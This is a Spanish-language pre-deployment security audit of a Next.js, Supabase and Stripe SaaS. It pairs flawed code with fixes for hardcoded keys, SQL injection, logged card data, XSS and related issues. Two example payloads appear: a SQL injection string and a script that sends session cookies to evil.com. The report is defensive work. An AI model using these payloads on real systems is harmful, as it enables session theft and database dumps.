Informe Confidencial

Auditoría de Seguridad

LeadFlow SaaS — Revisión Pre-Deploy · Next.js 14 + Supabase + Stripe

ClienteLeadFlow B2B SaaS
Fecha13 junio 2026
Revisado porCULTIVA IA — Security Review
Archivos analizados5 endpoints críticos
Estado⚠ BLOQUEADO — No deployar
5
Críticas
Bloquean producción
3
Altas
Riesgo severo
4
Medias
Resolver en sprint
2
Bajas
Mejora continua
82

Puntuación de Riesgo: 82/100 — CRÍTICO

Se han identificado 5 vulnerabilidades de severidad crítica que permitirían a un atacante comprometer datos de clientes, ejecutar código remoto y robar credenciales de pago. El deploy está bloqueado hasta resolver las issues críticas y altas.

✖ NO APTO
PRODUCCIÓN
Estimar 2–3 días de remediación
Vulnerabilidades Identificadas
Crítica
Secretos Hardcodeados en Código Fuente
routes/leads/route.ts · payments/route.ts
OWASP A02:2021 — Cryptographic Failures · CWE-798
Exposición total de API Keys

Se encontraron 2 secretos de producción hardcodeados directamente en el código fuente: la API key de OpenAI (sk-proj-abc123...) y la clave live de Stripe (sk_live_supersecreto...). Cualquier persona con acceso al repositorio puede extraer estas credenciales y hacer cargos o llamadas a la API a costa del cliente.

FALLO — Actual
// leads/route.ts
const OPENAI_KEY = "sk-proj-abc123xyz789"

// payments/route.ts
const stripe = new Stripe(
  "sk_live_supersecreto_abc123",
  { apiVersion: '2023-10-16' }
)
CORRECTO — Fix
// .env.local
OPENAI_API_KEY=sk-proj-...
STRIPE_SECRET_KEY=sk_live_...

// leads/route.ts
const openaiKey = process.env.OPENAI_API_KEY
if (!openaiKey) throw new Error(
  'OPENAI_API_KEY not configured'
)

// payments/route.ts
const stripe = new Stripe(
  process.env.STRIPE_SECRET_KEY!,
  { apiVersion: '2023-10-16' }
)

Acción inmediata

1. Revocar AHORA ambas API keys en los paneles de OpenAI y Stripe. 2. Generar nuevas claves. 3. Mover a variables de entorno. 4. Verificar que .env.local está en .gitignore y revisar el historial de Git con git log para asegurarse que no quedaron en commits anteriores.

Crítica
Inyección SQL por Concatenación Directa
app/api/leads/route.ts — líneas 12–13
OWASP A03:2021 — Injection · CWE-89
Dump completo de la BD

Las queries SQL usan interpolación directa de strings con datos del usuario. Un atacante puede inyectar SQL malicioso para extraer toda la base de datos, eliminar registros o escalar privilegios. Ejemplo de payload: company = ' OR '1'='1'-- devuelve todos los leads.

FALLO — SQL Injection
// VULNERABLE: interpolación directa
const query = `SELECT * FROM leads
  WHERE company = '${company}'`
await db.query(query)

// Payload malicioso:
// company = ' OR '1'='1'--
// Retorna TODOS los registros
CORRECTO — Parameterizado
// Supabase query builder (seguro)
const { data } = await supabase
  .from('leads')
  .select('*')
  .eq('company', company)

// O raw SQL parameterizado
await db.query(
  'SELECT * FROM leads WHERE company = $1',
  [company]  // parámetro separado
)

Fix requerido

Reemplazar todas las queries con interpolación por el query builder de Supabase o queries parametrizadas. Buscar en el codebase todos los template literals con `...${variable}...` en contextos de SQL.

Crítica
Datos de Tarjeta de Crédito en Logs
app/api/payments/route.ts — línea 9
OWASP A09:2021 — Logging Failures · PCI DSS Violation
Violación PCI DSS · Multas

El endpoint de pagos recibe y registra en logs el número de tarjeta completo y el CVV. Esto viola directamente la normativa PCI DSS, puede resultar en multas de hasta €100.000 y suspensión del procesador de pagos. Además, nunca se deben recibir datos de tarjeta en el propio servidor — deben ir directamente a Stripe.

FALLO — PCI Violation
const { amount, cardNumber, cvv }
  = await request.json()

// CRÍTICO: nunca loguear esto
console.log('Processing payment:', {
  amount,
  cardNumber,  // VIOLACIÓN PCI
  cvv           // VIOLACIÓN PCI
})
CORRECTO — Stripe Elements
// Frontend: Stripe Elements maneja
// los datos de tarjeta directamente
// El servidor NUNCA ve la tarjeta

// Backend solo recibe paymentMethodId
const { amount, paymentMethodId }
  = await request.json()

// Log seguro (sin datos sensibles)
console.log('Payment initiated:', {
  amount,
  userId: session.userId
})

Rediseño arquitectural requerido

Implementar Stripe Elements o Stripe.js en el frontend para que los datos de tarjeta nunca lleguen al servidor. El backend solo recibe paymentMethodId. Eliminar los campos cardNumber y cvv del endpoint.

Crítica
Cross-Site Scripting (XSS) — HTML sin sanitizar
app/dashboard/page.tsx — dangerouslySetInnerHTML
OWASP A03:2021 — Injection (XSS) · CWE-79
Robo de sesión · Keylogger

El dashboard renderiza las notas del lead usando dangerouslySetInnerHTML sin sanitización. Un atacante puede inyectar <script>document.location='https://evil.com/?c='+document.cookie</script> en el campo de notas para robar sesiones de todos los usuarios que vean ese lead.

FALLO — XSS Vector
// Sin sanitizar: XSS directo
<div dangerouslySetInnerHTML={{
  __html: userData.notes
}} />

// Payload XSS:
// <script>
//   fetch('evil.com/steal?c='
//     +document.cookie)
// </script>
CORRECTO — DOMPurify
import DOMPurify from 'isomorphic-dompurify'

function LeadNotes({ notes }: {notes: string}) {
  const clean = DOMPurify.sanitize(notes, {
    ALLOWED_TAGS: ['b', 'i', 'em',
                   'strong', 'p', 'br'],
    ALLOWED_ATTR: []
  })
  return (
    <div dangerouslySetInnerHTML={{
      __html: clean
    }} />
  )
}

Fix

Instalar isomorphic-dompurify y sanitizar todo HTML de usuario antes de renderizar. Evaluar si el rich HTML es necesario; si no lo es, renderizar como texto plano con {userData.notes} directamente.

Alta
Stack Trace y Errores Internos Expuestos al Cliente
app/api/auth/login/route.ts — línea 14
OWASP A05:2021 — Security Misconfiguration · CWE-209
Information Disclosure

En caso de error de autenticación, la API devuelve el mensaje de error interno y el stack trace completo de Supabase al cliente. Esta información revela la estructura interna del sistema, versiones de librerías y rutas de archivos que facilitan ataques dirigidos.

FALLO — Info Leak
return NextResponse.json(
  {
    error: user.error?.message,
    // NUNCA exponer stack traces
    stack: user.error?.stack
  },
  { status: 401 }
)
CORRECTO — Genérico
// Log detallado solo en servidor
console.error('Auth error:', user.error)

// Respuesta genérica al cliente
return NextResponse.json(
  {
    error: 'Credenciales incorrectas'
    // Sin stack, sin detalles internos
  },
  { status: 401 }
)
Alta
Ausencia de Validación de Input en Endpoints
app/api/leads/route.ts · payments/route.ts
OWASP A03:2021 — Injection · CWE-20
Data corruption · DoS

Ningún endpoint valida el tipo, formato o longitud de los datos recibidos. Se pueden enviar payloads malformados, campos vacíos, tipos incorrectos o strings excesivamente largos que provoquen errores o corrupción de datos.

FALLO — Sin validación
// Acepta cualquier cosa
const body = await request.json()
const { name, email, company } = body

// Sin verificar tipos, formatos,
// longitudes ni campos requeridos
await db.query(`INSERT...`)
CORRECTO — Zod schema
import { z } from 'zod'

const CreateLeadSchema = z.object({
  name: z.string().min(1).max(100),
  email: z.string().email(),
  company: z.string().min(1).max(200),
  notes: z.string().max(5000).optional()
})

const validated = CreateLeadSchema
  .parse(await request.json())
// Solo procesar si pasa validación
Alta
Sin Rate Limiting ni Protección CSRF
middleware.ts — completamente vacío
OWASP A07:2021 — Auth Failures · CWE-352
Brute force · CSRF attacks

El middleware existe pero tiene dos TODO sin implementar. Sin rate limiting, el endpoint de login es vulnerable a fuerza bruta. Sin CSRF, atacantes pueden engañar a usuarios autenticados para que ejecuten acciones no deseadas (crear leads, iniciar pagos).

FALLO — TODOs sin implementar
export function middleware(req: Request) {
  // TODO: agregar rate limiting
  // TODO: agregar CSRF
  // Pasa todo sin restricciones
  return NextResponse.next()
}
CORRECTO — Protección activa
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(
    10, '1 m'  // 10 req/minuto
  ),
})

export async function middleware(req) {
  const ip = req.ip ?? '127.0.0.1'
  const { success } = await ratelimit
    .limit(ip)
  if (!success) return new Response(
    'Too Many Requests', { status: 429 }
  )
  return NextResponse.next()
}
Checklist Pre-Deploy

🔑 Secrets & Configuración

No hay secretos hardcodeados
API keys en variables de entorno
!
.env.local en .gitignore
Sin secretos en historial de Git
!
Secretos de producción en Vercel

🛡 Autenticación & Autorización

!
Tokens en httpOnly cookies (no localStorage)
Supabase Auth configurado
!
Row Level Security en Supabase
Checks de autorización en endpoints
CSRF protection activo

Input & Datos

Validación con schemas (Zod)
Queries SQL parametrizadas
HTML de usuario sanitizado
Supabase como ORM principal
Rate limiting en endpoints

💳 Pagos & Compliance

Stripe Elements en frontend (PCI DSS)
Sin datos de tarjeta en servidor
Sin datos sensibles en logs
!
HTTPS forzado en producción
!
CSP headers configurados
OWASP TOP 10
De las 10 categorías OWASP 2021, este codebase tiene vulnerabilidades en 6 de las 10: A02 (Cryptographic Failures), A03 (Injection), A05 (Security Misconfiguration), A07 (Auth Failures), A08 (Software Integrity), A09 (Logging Failures).
Plan de Remediación por Prioridad
1

Revocar y rotar todas las API keys AHORA

Las claves de OpenAI y Stripe están en el código. Si el repo es (o fue) público, están comprometidas. Revocar inmediatamente en los dashboards y generar nuevas antes de cualquier otra acción.

Inmediato
2

Rediseñar endpoint de pagos — eliminar cardNumber/CVV del servidor

Implementar Stripe Elements en el frontend. El servidor nunca debe recibir datos de tarjeta. Viola PCI DSS y puede resultar en suspensión del procesador.

Inmediato
3

Parametrizar todas las queries SQL + sanitizar HTML

Reemplazar interpolación de strings en queries por el query builder de Supabase. Instalar DOMPurify y sanitizar el campo notes antes de renderizar.

Hoy
4

Añadir validación Zod en todos los endpoints + errores genéricos

Implementar schemas de validación con Zod. Cambiar respuestas de error para no exponer detalles internos ni stack traces.

Hoy
5

Implementar rate limiting con Upstash + CSRF tokens

Configurar rate limiting en el middleware con Upstash Redis. Implementar CSRF tokens para operaciones de estado (POST, PUT, DELETE).

Esta semana